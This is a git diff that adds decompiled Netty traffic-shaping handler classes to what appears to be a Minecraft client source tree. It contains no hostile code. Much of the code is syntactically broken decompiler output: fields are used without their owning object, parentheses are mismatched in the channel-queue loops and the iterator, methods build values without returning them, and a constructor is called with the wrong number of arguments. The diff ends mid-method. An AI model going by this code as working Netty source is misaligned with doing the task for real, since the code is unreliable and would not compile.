+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.Attribute;
+import io.netty.util.AttributeKey;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractTrafficShapingHandler
+  extends ChannelDuplexHandler
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(AbstractTrafficShapingHandler.class);
+  
+
+
+
+
+  public static final long DEFAULT_CHECK_INTERVAL = 1000L;
+  
+
+
+
+
+  public static final long DEFAULT_MAX_TIME = 15000L;
+  
+
+
+
+  static final long MINIMAL_WAIT = 10L;
+  
+
+
+
+  protected TrafficCounter trafficCounter;
+  
+
+
+
+  private long writeLimit;
+  
+
+
+
+  private long readLimit;
+  
+
+
+
+  protected long maxTime = 15000L;
+  
+
+
+
+  protected long checkInterval = 1000L;
+  
+  private static final AttributeKey<Boolean> READ_SUSPENDED = AttributeKey.valueOf(AbstractTrafficShapingHandler.class.getName() + ".READ_SUSPENDED");
+  
+  private static final AttributeKey<Runnable> REOPEN_TASK = AttributeKey.valueOf(AbstractTrafficShapingHandler.class.getName() + ".REOPEN_TASK");
+  
+
+
+
+
+
+  void setTrafficCounter(TrafficCounter newTrafficCounter)
+  {
+    trafficCounter = newTrafficCounter;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected AbstractTrafficShapingHandler(long writeLimit, long readLimit, long checkInterval, long maxTime)
+  {
+    this.writeLimit = writeLimit;
+    this.readLimit = readLimit;
+    this.checkInterval = checkInterval;
+    this.maxTime = maxTime;
+  }
+  
+
+
+
+
+
+
+
+
+  protected AbstractTrafficShapingHandler(long writeLimit, long readLimit, long checkInterval)
+  {
+    this(writeLimit, readLimit, checkInterval, 15000L);
+  }
+  
+
+
+
+
+
+
+
+  protected AbstractTrafficShapingHandler(long writeLimit, long readLimit)
+  {
+    this(writeLimit, readLimit, 1000L, 15000L);
+  }
+  
+
+
+  protected AbstractTrafficShapingHandler()
+  {
+    this(0L, 0L, 1000L, 15000L);
+  }
+  
+
+
+
+
+
+
+  protected AbstractTrafficShapingHandler(long checkInterval)
+  {
+    this(0L, 0L, checkInterval, 15000L);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void configure(long newWriteLimit, long newReadLimit, long newCheckInterval)
+  {
+    configure(newWriteLimit, newReadLimit);
+    configure(newCheckInterval);
+  }
+  
+
+
+
+
+
+
+
+  public void configure(long newWriteLimit, long newReadLimit)
+  {
+    writeLimit = newWriteLimit;
+    readLimit = newReadLimit;
+    if (trafficCounter != null) {
+      trafficCounter.resetAccounting(System.currentTimeMillis() + 1L);
+    }
+  }
+  
+
+
+
+
+
+  public void configure(long newCheckInterval)
+  {
+    checkInterval = newCheckInterval;
+    if (trafficCounter != null) {
+      trafficCounter.configure(checkInterval);
+    }
+  }
+  
+
+
+  public long getWriteLimit()
+  {
+    return writeLimit;
+  }
+  
+
+
+  public void setWriteLimit(long writeLimit)
+  {
+    this.writeLimit = writeLimit;
+    if (trafficCounter != null) {
+      trafficCounter.resetAccounting(System.currentTimeMillis() + 1L);
+    }
+  }
+  
+
+
+  public long getReadLimit()
+  {
+    return readLimit;
+  }
+  
+
+
+  public void setReadLimit(long readLimit)
+  {
+    this.readLimit = readLimit;
+    if (trafficCounter != null) {
+      trafficCounter.resetAccounting(System.currentTimeMillis() + 1L);
+    }
+  }
+  
+
+
+  public long getCheckInterval()
+  {
+    return checkInterval;
+  }
+  
+
+
+  public void setCheckInterval(long checkInterval)
+  {
+    this.checkInterval = checkInterval;
+    if (trafficCounter != null) {
+      trafficCounter.configure(checkInterval);
+    }
+  }
+  
+
+
+
+
+  public void setMaxTimeWait(long maxTime)
+  {
+    this.maxTime = maxTime;
+  }
+  
+
+
+  public long getMaxTimeWait()
+  {
+    return maxTime;
+  }
+  
+
+
+
+  protected void doAccounting(TrafficCounter counter) {}
+  
+
+
+
+  private static final class ReopenReadTimerTask
+    implements Runnable
+  {
+    final ChannelHandlerContext ctx;
+    
+
+
+
+    ReopenReadTimerTask(ChannelHandlerContext ctx)
+    {
+      this.ctx = ctx;
+    }
+    
+    public void run() {
+      if ((!ctx.channel().config().isAutoRead()) && (AbstractTrafficShapingHandler.isHandlerActive(ctx)))
+      {
+
+        if (AbstractTrafficShapingHandler.logger.isDebugEnabled()) {
+          AbstractTrafficShapingHandler.logger.debug("Channel:" + ctx.channel().hashCode() + " Not Unsuspend: " + ctx.channel().config().isAutoRead() + ":" + AbstractTrafficShapingHandler.isHandlerActive(ctx));
+        }
+        
+        ctx.attr(AbstractTrafficShapingHandler.READ_SUSPENDED).set(Boolean.valueOf(false));
+      }
+      else {
+        if (AbstractTrafficShapingHandler.logger.isDebugEnabled()) {
+          if ((ctx.channel().config().isAutoRead()) && (!AbstractTrafficShapingHandler.isHandlerActive(ctx))) {
+            AbstractTrafficShapingHandler.logger.debug("Channel:" + ctx.channel().hashCode() + " Unsuspend: " + ctx.channel().config().isAutoRead() + ":" + AbstractTrafficShapingHandler.isHandlerActive(ctx));
+          }
+          else {
+            AbstractTrafficShapingHandler.logger.debug("Channel:" + ctx.channel().hashCode() + " Normal Unsuspend: " + ctx.channel().config().isAutoRead() + ":" + AbstractTrafficShapingHandler.isHandlerActive(ctx));
+          }
+        }
+        
+
+        ctx.attr(AbstractTrafficShapingHandler.READ_SUSPENDED).set(Boolean.valueOf(false));
+        ctx.channel().config().setAutoRead(true);
+        ctx.channel().read();
+      }
+      if (AbstractTrafficShapingHandler.logger.isDebugEnabled()) {
+        AbstractTrafficShapingHandler.logger.debug("Channel:" + ctx.channel().hashCode() + " Unsupsend final status => " + ctx.channel().config().isAutoRead() + ":" + AbstractTrafficShapingHandler.isHandlerActive(ctx));
+      }
+    }
+  }
+  
+
+  public void channelRead(ChannelHandlerContext ctx, Object msg)
+    throws Exception
+  {
+    long size = calculateSize(msg);
+    
+    if ((size > 0L) && (trafficCounter != null))
+    {
+      long wait = trafficCounter.readTimeToWait(size, readLimit, maxTime);
+      if (wait >= 10L)
+      {
+
+        if (logger.isDebugEnabled()) {
+          logger.debug("Channel:" + ctx.channel().hashCode() + " Read Suspend: " + wait + ":" + ctx.channel().config().isAutoRead() + ":" + isHandlerActive(ctx));
+        }
+        
+
+        if ((ctx.channel().config().isAutoRead()) && (isHandlerActive(ctx))) {
+          ctx.channel().config().setAutoRead(false);
+          ctx.attr(READ_SUSPENDED).set(Boolean.valueOf(true));
+          
+
+          Attribute<Runnable> attr = ctx.attr(REOPEN_TASK);
+          Runnable reopenTask = (Runnable)attr.get();
+          if (reopenTask == null) {
+            reopenTask = new ReopenReadTimerTask(ctx);
+            attr.set(reopenTask);
+          }
+          ctx.executor().schedule(reopenTask, wait, TimeUnit.MILLISECONDS);
+          if (logger.isDebugEnabled()) {
+            logger.debug("Channel:" + ctx.channel().hashCode() + " Suspend final status => " + ctx.channel().config().isAutoRead() + ":" + isHandlerActive(ctx) + " will reopened at: " + wait);
+          }
+        }
+      }
+    }
+    
+
+
+    ctx.fireChannelRead(msg);
+  }
+  
+  protected static boolean isHandlerActive(ChannelHandlerContext ctx) {
+    Boolean suspended = (Boolean)ctx.attr(READ_SUSPENDED).get();
+    return (suspended == null) || (Boolean.FALSE.equals(suspended));
+  }
+  
+  public void read(ChannelHandlerContext ctx)
+  {
+    if (isHandlerActive(ctx))
+    {
+      ctx.read();
+    }
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise)
+    throws Exception
+  {
+    long size = calculateSize(msg);
+    
+    if ((size > 0L) && (trafficCounter != null))
+    {
+      long wait = trafficCounter.writeTimeToWait(size, writeLimit, maxTime);
+      if (wait >= 10L)
+      {
+
+
+
+
+
+
+        if (logger.isDebugEnabled()) {
+          logger.debug("Channel:" + ctx.channel().hashCode() + " Write suspend: " + wait + ":" + ctx.channel().config().isAutoRead() + ":" + isHandlerActive(ctx));
+        }
+        
+
+        submitWrite(ctx, msg, wait, promise);
+        return;
+      }
+    }
+    
+    submitWrite(ctx, msg, 0L, promise);
+  }
+  
+
+
+
+  protected abstract void submitWrite(ChannelHandlerContext paramChannelHandlerContext, Object paramObject, long paramLong, ChannelPromise paramChannelPromise);
+  
+
+
+  public TrafficCounter trafficCounter()
+  {
+    return trafficCounter;
+  }
+  
+  public String toString()
+  {
+    return "TrafficShaping with Write Limit: " + writeLimit + " Read Limit: " + readLimit + " and Counter: " + (trafficCounter != null ? trafficCounter.toString() : "none");
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected long calculateSize(Object msg)
+  {
+    if ((msg instanceof ByteBuf)) {
+      return ((ByteBuf)msg).readableBytes();
+    }
+    if ((msg instanceof ByteBufHolder)) {
+      return ((ByteBufHolder)msg).content().readableBytes();
+    }
+    return -1L;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/traffic/ChannelTrafficShapingHandler.java b/src/minecraft/io/netty/handler/traffic/ChannelTrafficShapingHandler.java
new file mode 100644
index 0000000..201e565
--- /dev/null
+++ b/src/minecraft/io/netty/handler/traffic/ChannelTrafficShapingHandler.java
@@ -0,0 +1,176 @@
+package io.netty.handler.traffic;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.concurrent.EventExecutor;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ChannelTrafficShapingHandler
+  extends AbstractTrafficShapingHandler
+{
+  private List<ToSend> messagesQueue = new LinkedList();
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ChannelTrafficShapingHandler(long writeLimit, long readLimit, long checkInterval, long maxTime)
+  {
+    super(writeLimit, readLimit, checkInterval, maxTime);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public ChannelTrafficShapingHandler(long writeLimit, long readLimit, long checkInterval)
+  {
+    super(writeLimit, readLimit, checkInterval);
+  }
+  
+
+
+
+
+
+
+
+
+  public ChannelTrafficShapingHandler(long writeLimit, long readLimit)
+  {
+    super(writeLimit, readLimit);
+  }
+  
+
+
+
+
+
+
+  public ChannelTrafficShapingHandler(long checkInterval)
+  {
+    super(checkInterval);
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    TrafficCounter trafficCounter = new TrafficCounter(this, ctx.executor(), "ChannelTC" + ctx.channel().hashCode(), checkInterval);
+    
+    setTrafficCounter(trafficCounter);
+    trafficCounter.start();
+  }
+  
+  public synchronized void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+  {
+    if (trafficCounter != null) {
+      trafficCounter.stop();
+    }
+    for (ToSend toSend : messagesQueue) {
+      if ((toSend instanceof ByteBuf)) {
+        ((ByteBuf)toSend).release();
+      }
+    }
+    messagesQueue.clear();
+  }
+  
+  private static final class ToSend {
+    final long date;
+    final Object toSend;
+    final ChannelPromise promise;
+    
+    private ToSend(long delay, Object toSend, ChannelPromise promise) {
+      date = (System.currentTimeMillis() + delay);
+      this.toSend = toSend;
+      this.promise = promise;
+    }
+  }
+  
+
+  protected synchronized void submitWrite(final ChannelHandlerContext ctx, Object msg, long delay, ChannelPromise promise)
+  {
+    if ((delay == 0L) && (messagesQueue.isEmpty())) {
+      ctx.write(msg, promise);
+      return;
+    }
+    ToSend newToSend = new ToSend(delay, msg, promise, null);
+    messagesQueue.add(newToSend);
+    ctx.executor().schedule(new Runnable()
+    {
+
+      public void run() { ChannelTrafficShapingHandler.this.sendAllValid(ctx); } }, delay, TimeUnit.MILLISECONDS);
+  }
+  
+
+  private synchronized void sendAllValid(ChannelHandlerContext ctx)
+  {
+    while (!messagesQueue.isEmpty()) {
+      ToSend newToSend = (ToSend)messagesQueue.remove(0);
+      if (date <= System.currentTimeMillis()) {
+        ctx.write(toSend, promise);
+      } else {
+        messagesQueue.add(0, newToSend);
+        break;
+      }
+    }
+    ctx.flush();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/traffic/GlobalChannelTrafficCounter.java b/src/minecraft/io/netty/handler/traffic/GlobalChannelTrafficCounter.java
new file mode 100644
index 0000000..40c6270
--- /dev/null
+++ b/src/minecraft/io/netty/handler/traffic/GlobalChannelTrafficCounter.java
@@ -0,0 +1,128 @@
+package io.netty.handler.traffic;
+
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicLong;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class GlobalChannelTrafficCounter
+  extends TrafficCounter
+{
+  public GlobalChannelTrafficCounter(GlobalChannelTrafficShapingHandler trafficShapingHandler, ScheduledExecutorService executor, String name, long checkInterval)
+  {
+    super(trafficShapingHandler, executor, name, checkInterval);
+    if (executor == null) {
+      throw new IllegalArgumentException("Executor must not be null");
+    }
+  }
+  
+
+
+
+
+
+  private static class MixedTrafficMonitoringTask
+    implements Runnable
+  {
+    private final GlobalChannelTrafficShapingHandler trafficShapingHandler1;
+    
+
+
+
+
+    private final TrafficCounter counter;
+    
+
+
+
+
+    MixedTrafficMonitoringTask(GlobalChannelTrafficShapingHandler trafficShapingHandler, TrafficCounter counter)
+    {
+      trafficShapingHandler1 = trafficShapingHandler;
+      this.counter = counter;
+    }
+    
+    public void run()
+    {
+      if (!counter.monitorActive) {
+        return;
+      }
+      long newLastTime = TrafficCounter.milliSecondFromNano();
+      counter.resetAccounting(newLastTime);
+      for (GlobalChannelTrafficShapingHandler.PerChannel perChannel : trafficShapingHandler1.channelQueues.values()) {
+        channelTrafficCounter.resetAccounting(newLastTime);
+      }
+      trafficShapingHandler1.doAccounting(counter);
+      counter.scheduledFuture = counter.executor.schedule(this, counter.checkInterval.get(), TimeUnit.MILLISECONDS);
+    }
+  }
+  
+
+
+
+
+  public synchronized void start()
+  {
+    if (monitorActive) {
+      return;
+    }
+    lastTime.set(milliSecondFromNano());
+    long localCheckInterval = checkInterval.get();
+    if (localCheckInterval > 0L) {
+      monitorActive = true;
+      monitor = new MixedTrafficMonitoringTask((GlobalChannelTrafficShapingHandler)trafficShapingHandler, this);
+      scheduledFuture = executor.schedule(monitor, localCheckInterval, TimeUnit.MILLISECONDS);
+    }
+  }
+  
+
+
+
+
+  public synchronized void stop()
+  {
+    if (!monitorActive) {
+      return;
+    }
+    monitorActive = false;
+    resetAccounting(milliSecondFromNano());
+    trafficShapingHandler.doAccounting(this);
+    if (scheduledFuture != null) {
+      scheduledFuture.cancel(true);
+    }
+  }
+  
+
+  public void resetCumulativeTime()
+  {
+    for (GlobalChannelTrafficShapingHandler.PerChannel perChannel : trafficShapingHandler).channelQueues.values()) {
+      channelTrafficCounter.resetCumulativeTime();
+    }
+    super.resetCumulativeTime();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/traffic/GlobalChannelTrafficShapingHandler.java b/src/minecraft/io/netty/handler/traffic/GlobalChannelTrafficShapingHandler.java
new file mode 100644
index 0000000..e9c215e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/traffic/GlobalChannelTrafficShapingHandler.java
@@ -0,0 +1,784 @@
+package io.netty.handler.traffic;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.Attribute;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.AbstractCollection;
+import java.util.ArrayDeque;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicLong;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class GlobalChannelTrafficShapingHandler
+  extends AbstractTrafficShapingHandler
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(GlobalChannelTrafficShapingHandler.class);
+  
+
+
+
+  final ConcurrentMap<Integer, PerChannel> channelQueues = PlatformDependent.newConcurrentHashMap();
+  
+
+
+
+  private final AtomicLong queuesSize = new AtomicLong();
+  
+
+
+
+  private final AtomicLong cumulativeWrittenBytes = new AtomicLong();
+  
+
+
+
+  private final AtomicLong cumulativeReadBytes = new AtomicLong();
+  
+
+
+
+
+  volatile long maxGlobalWriteSize = 419430400L;
+  
+
+  private volatile long writeChannelLimit;
+  
+
+  private volatile long readChannelLimit;
+  
+
+  private static final float DEFAULT_DEVIATION = 0.1F;
+  
+
+  private static final float MAX_DEVIATION = 0.4F;
+  
+
+  private static final float DEFAULT_SLOWDOWN = 0.4F;
+  
+
+  private static final float DEFAULT_ACCELERATION = -0.1F;
+  
+
+  private volatile float maxDeviation;
+  
+
+  private volatile float accelerationFactor;
+  
+  private volatile float slowDownFactor;
+  
+  private volatile boolean readDeviationActive;
+  
+  private volatile boolean writeDeviationActive;
+  
+
+  void createGlobalTrafficCounter(ScheduledExecutorService executor)
+  {
+    setMaxDeviation(0.1F, 0.4F, -0.1F);
+    if (executor == null) {
+      throw new IllegalArgumentException("Executor must not be null");
+    }
+    TrafficCounter tc = new GlobalChannelTrafficCounter(this, executor, "GlobalChannelTC", checkInterval);
+    setTrafficCounter(tc);
+    tc.start();
+  }
+  
+  protected int userDefinedWritabilityIndex()
+  {
+    return 3;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public GlobalChannelTrafficShapingHandler(ScheduledExecutorService executor, long writeGlobalLimit, long readGlobalLimit, long writeChannelLimit, long readChannelLimit, long checkInterval, long maxTime)
+  {
+    super(writeGlobalLimit, readGlobalLimit, checkInterval, maxTime);
+    createGlobalTrafficCounter(executor);
+    this.writeChannelLimit = writeChannelLimit;
+    this.readChannelLimit = readChannelLimit;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public GlobalChannelTrafficShapingHandler(ScheduledExecutorService executor, long writeGlobalLimit, long readGlobalLimit, long writeChannelLimit, long readChannelLimit, long checkInterval)
+  {
+    super(writeGlobalLimit, readGlobalLimit, checkInterval);
+    this.writeChannelLimit = writeChannelLimit;
+    this.readChannelLimit = readChannelLimit;
+    createGlobalTrafficCounter(executor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public GlobalChannelTrafficShapingHandler(ScheduledExecutorService executor, long writeGlobalLimit, long readGlobalLimit, long writeChannelLimit, long readChannelLimit)
+  {
+    super(writeGlobalLimit, readGlobalLimit);
+    this.writeChannelLimit = writeChannelLimit;
+    this.readChannelLimit = readChannelLimit;
+    createGlobalTrafficCounter(executor);
+  }
+  
+
+
+
+
+
+
+
+
+  public GlobalChannelTrafficShapingHandler(ScheduledExecutorService executor, long checkInterval)
+  {
+    super(checkInterval);
+    createGlobalTrafficCounter(executor);
+  }
+  
+
+
+
+
+
+  public GlobalChannelTrafficShapingHandler(ScheduledExecutorService executor)
+  {
+    createGlobalTrafficCounter(executor);
+  }
+  
+
+
+  public float maxDeviation()
+  {
+    return maxDeviation;
+  }
+  
+
+
+  public float accelerationFactor()
+  {
+    return accelerationFactor;
+  }
+  
+
+
+  public float slowDownFactor()
+  {
+    return slowDownFactor;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setMaxDeviation(float maxDeviation, float slowDownFactor, float accelerationFactor)
+  {
+    if (maxDeviation > 0.4F) {
+      throw new IllegalArgumentException("maxDeviation must be <= 0.4");
+    }
+    if (slowDownFactor < 0.0F) {
+      throw new IllegalArgumentException("slowDownFactor must be >= 0");
+    }
+    if (accelerationFactor > 0.0F) {
+      throw new IllegalArgumentException("accelerationFactor must be <= 0");
+    }
+    this.maxDeviation = maxDeviation;
+    this.accelerationFactor = (1.0F + accelerationFactor);
+    this.slowDownFactor = (1.0F + slowDownFactor);
+  }
+  
+  private void computeDeviationCumulativeBytes()
+  {
+    long maxWrittenBytes = 0L;
+    long maxReadBytes = 0L;
+    long minWrittenBytes = Long.MAX_VALUE;
+    long minReadBytes = Long.MAX_VALUE;
+    for (PerChannel perChannel : channelQueues.values()) {
+      long value = channelTrafficCounter.cumulativeWrittenBytes();
+      if (maxWrittenBytes < value) {
+        maxWrittenBytes = value;
+      }
+      if (minWrittenBytes > value) {
+        minWrittenBytes = value;
+      }
+      value = channelTrafficCounter.cumulativeReadBytes();
+      if (maxReadBytes < value) {
+        maxReadBytes = value;
+      }
+      if (minReadBytes > value) {
+        minReadBytes = value;
+      }
+    }
+    boolean multiple = channelQueues.size() > 1;
+    readDeviationActive = ((multiple) && (minReadBytes < maxReadBytes / 2L));
+    writeDeviationActive = ((multiple) && (minWrittenBytes < maxWrittenBytes / 2L));
+    cumulativeWrittenBytes.set(maxWrittenBytes);
+    cumulativeReadBytes.set(maxReadBytes);
+  }
+  
+  protected void doAccounting(TrafficCounter counter)
+  {
+    computeDeviationCumulativeBytes();
+    super.doAccounting(counter);
+  }
+  
+  private long computeBalancedWait(float maxLocal, float maxGlobal, long wait) {
+    if (maxGlobal == 0.0F)
+    {
+      return wait;
+    }
+    float ratio = maxLocal / maxGlobal;
+    
+    if (ratio > maxDeviation) {
+      if (ratio < 1.0F - maxDeviation) {
+        return wait;
+      }
+      ratio = slowDownFactor;
+      if (wait < 10L) {
+        wait = 10L;
+      }
+    }
+    else {
+      ratio = accelerationFactor;
+    }
+    return ((float)wait * ratio);
+  }
+  
+
+
+  public long getMaxGlobalWriteSize()
+  {
+    return maxGlobalWriteSize;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void setMaxGlobalWriteSize(long maxGlobalWriteSize)
+  {
+    if (maxGlobalWriteSize <= 0L) {
+      throw new IllegalArgumentException("maxGlobalWriteSize must be positive");
+    }
+    this.maxGlobalWriteSize = maxGlobalWriteSize;
+  }
+  
+
+
+  public long queuesSize()
+  {
+    return queuesSize.get();
+  }
+  
+
+
+
+  public void configureChannel(long newWriteLimit, long newReadLimit)
+  {
+    writeChannelLimit = newWriteLimit;
+    readChannelLimit = newReadLimit;
+    long now = TrafficCounter.milliSecondFromNano();
+    for (PerChannel perChannel : channelQueues.values()) {
+      channelTrafficCounter.resetAccounting(now);
+    }
+  }
+  
+
+
+  public long getWriteChannelLimit()
+  {
+    return writeChannelLimit;
+  }
+  
+
+
+  public void setWriteChannelLimit(long writeLimit)
+  {
+    writeChannelLimit = writeLimit;
+    long now = TrafficCounter.milliSecondFromNano();
+    for (PerChannel perChannel : channelQueues.values()) {
+      channelTrafficCounter.resetAccounting(now);
+    }
+  }
+  
+
+
+  public long getReadChannelLimit()
+  {
+    return readChannelLimit;
+  }
+  
+
+
+  public void setReadChannelLimit(long readLimit)
+  {
+    readChannelLimit = readLimit;
+    long now = TrafficCounter.milliSecondFromNano();
+    for (PerChannel perChannel : channelQueues.values()) {
+      channelTrafficCounter.resetAccounting(now);
+    }
+  }
+  
+
+
+  public final void release()
+  {
+    trafficCounter.stop();
+  }
+  
+  private PerChannel getOrSetPerChannel(ChannelHandlerContext ctx)
+  {
+    Channel channel = ctx.channel();
+    Integer key = Integer.valueOf(channel.hashCode());
+    PerChannel perChannel = (PerChannel)channelQueues.get(key);
+    if (perChannel == null) {
+      perChannel = new PerChannel();
+      messagesQueue = new ArrayDeque();
+      
+      channelTrafficCounter = new TrafficCounter(this, null, "ChannelTC" + ctx.channel().hashCode(), checkInterval);
+      
+      queueSize = 0L;
+      lastReadTimestamp = TrafficCounter.milliSecondFromNano();
+      lastWriteTimestamp = lastReadTimestamp;
+      channelQueues.put(key, perChannel);
+    }
+    return perChannel;
+  }
+  
+  public void handlerAdded(ChannelHandlerContext ctx) throws Exception
+  {
+    getOrSetPerChannel(ctx);
+    trafficCounter.resetCumulativeTime();
+    super.handlerAdded(ctx);
+  }
+  
+  public void handlerRemoved(ChannelHandlerContext ctx) throws Exception
+  {
+    trafficCounter.resetCumulativeTime();
+    Channel channel = ctx.channel();
+    Integer key = Integer.valueOf(channel.hashCode());
+    PerChannel perChannel = (PerChannel)channelQueues.remove(key);
+    if (perChannel != null)
+    {
+      synchronized (perChannel) {
+        if (channel.isActive()) {
+          for (ToSend toSend : messagesQueue) {
+            long size = calculateSize(toSend);
+            trafficCounter.bytesRealWriteFlowControl(size);
+            channelTrafficCounter.bytesRealWriteFlowControl(size);
+            queueSize -= size;
+            queuesSize.addAndGet(-size);
+            ctx.write(toSend, promise);
+          }
+        } else {
+          queuesSize.addAndGet(-queueSize);
+          for (ToSend toSend : messagesQueue) {
+            if ((toSend instanceof ByteBuf)) {
+              ((ByteBuf)toSend).release();
+            }
+          }
+        }
+        messagesQueue.clear();
+      }
+    }
+    releaseWriteSuspended(ctx);
+    releaseReadSuspended(ctx);
+    super.handlerRemoved(ctx);
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    long size = calculateSize(msg);
+    long now = TrafficCounter.milliSecondFromNano();
+    if (size > 0L)
+    {
+      long waitGlobal = trafficCounter.readTimeToWait(size, getReadLimit(), maxTime, now);
+      Integer key = Integer.valueOf(ctx.channel().hashCode());
+      PerChannel perChannel = (PerChannel)channelQueues.get(key);
+      long wait = 0L;
+      if (perChannel != null) {
+        wait = channelTrafficCounter.readTimeToWait(size, readChannelLimit, maxTime, now);
+        if (readDeviationActive)
+        {
+
+          long maxLocalRead = channelTrafficCounter.cumulativeReadBytes();
+          long maxGlobalRead = cumulativeReadBytes.get();
+          if (maxLocalRead <= 0L) {
+            maxLocalRead = 0L;
+          }
+          if (maxGlobalRead < maxLocalRead) {
+            maxGlobalRead = maxLocalRead;
+          }
+          wait = computeBalancedWait((float)maxLocalRead, (float)maxGlobalRead, wait);
+        }
+      }
+      if (wait < waitGlobal) {
+        wait = waitGlobal;
+      }
+      wait = checkWaitReadTime(ctx, wait, now);
+      if (wait >= 10L)
+      {
+
+        ChannelConfig config = ctx.channel().config();
+        if (logger.isDebugEnabled()) {
+          logger.debug("Read Suspend: " + wait + ':' + config.isAutoRead() + ':' + isHandlerActive(ctx));
+        }
+        
+        if ((config.isAutoRead()) && (isHandlerActive(ctx))) {
+          config.setAutoRead(false);
+          ctx.attr(READ_SUSPENDED).set(Boolean.valueOf(true));
+          
+
+          Attribute<Runnable> attr = ctx.attr(REOPEN_TASK);
+          Runnable reopenTask = (Runnable)attr.get();
+          if (reopenTask == null) {
+            reopenTask = new AbstractTrafficShapingHandler.ReopenReadTimerTask(ctx);
+            attr.set(reopenTask);
+          }
+          ctx.executor().schedule(reopenTask, wait, TimeUnit.MILLISECONDS);
+          if (logger.isDebugEnabled()) {
+            logger.debug("Suspend final status => " + config.isAutoRead() + ':' + isHandlerActive(ctx) + " will reopened at: " + wait);
+          }
+        }
+      }
+    }
+    
+    informReadOperation(ctx, now);
+    ctx.fireChannelRead(msg);
+  }
+  
+  protected long checkWaitReadTime(ChannelHandlerContext ctx, long wait, long now)
+  {
+    Integer key = Integer.valueOf(ctx.channel().hashCode());
+    PerChannel perChannel = (PerChannel)channelQueues.get(key);
+    if ((perChannel != null) && 
+      (wait > maxTime) && (now + wait - lastReadTimestamp > maxTime)) {
+      wait = maxTime;
+    }
+    
+    return wait;
+  }
+  
+  protected void informReadOperation(ChannelHandlerContext ctx, long now)
+  {
+    Integer key = Integer.valueOf(ctx.channel().hashCode());
+    PerChannel perChannel = (PerChannel)channelQueues.get(key);
+    if (perChannel != null) {
+      lastReadTimestamp = now;
+    }
+  }
+  
+  private static final class ToSend {
+    final long relativeTimeAction;
+    final Object toSend;
+    final ChannelPromise promise;
+    final long size;
+    
+    private ToSend(long delay, Object toSend, long size, ChannelPromise promise) {
+      relativeTimeAction = delay;
+      this.toSend = toSend;
+      this.size = size;
+      this.promise = promise;
+    }
+  }
+  
+  protected long maximumCumulativeWrittenBytes() {
+    return cumulativeWrittenBytes.get();
+  }
+  
+  protected long maximumCumulativeReadBytes() {
+    return cumulativeReadBytes.get();
+  }
+  
+
+
+
+  public Collection<TrafficCounter> channelTrafficCounters()
+  {
+    new AbstractCollection()
+    {
+      public Iterator<TrafficCounter> iterator() {
+        new Iterator() {
+          final Iterator<GlobalChannelTrafficShapingHandler.PerChannel> iter = channelQueues.values().iterator();
+          
+          public boolean hasNext() {
+            return iter.hasNext();
+          }
+          
+          public TrafficCounter next() {
+            return iter.next()).channelTrafficCounter;
+          }
+          
+          public void remove() {
+            throw new UnsupportedOperationException();
+          }
+        };
+      }
+      
+      public int size() {
+        return channelQueues.size();
+      }
+    };
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise)
+    throws Exception
+  {
+    long size = calculateSize(msg);
+    long now = TrafficCounter.milliSecondFromNano();
+    if (size > 0L)
+    {
+      long waitGlobal = trafficCounter.writeTimeToWait(size, getWriteLimit(), maxTime, now);
+      Integer key = Integer.valueOf(ctx.channel().hashCode());
+      PerChannel perChannel = (PerChannel)channelQueues.get(key);
+      long wait = 0L;
+      if (perChannel != null) {
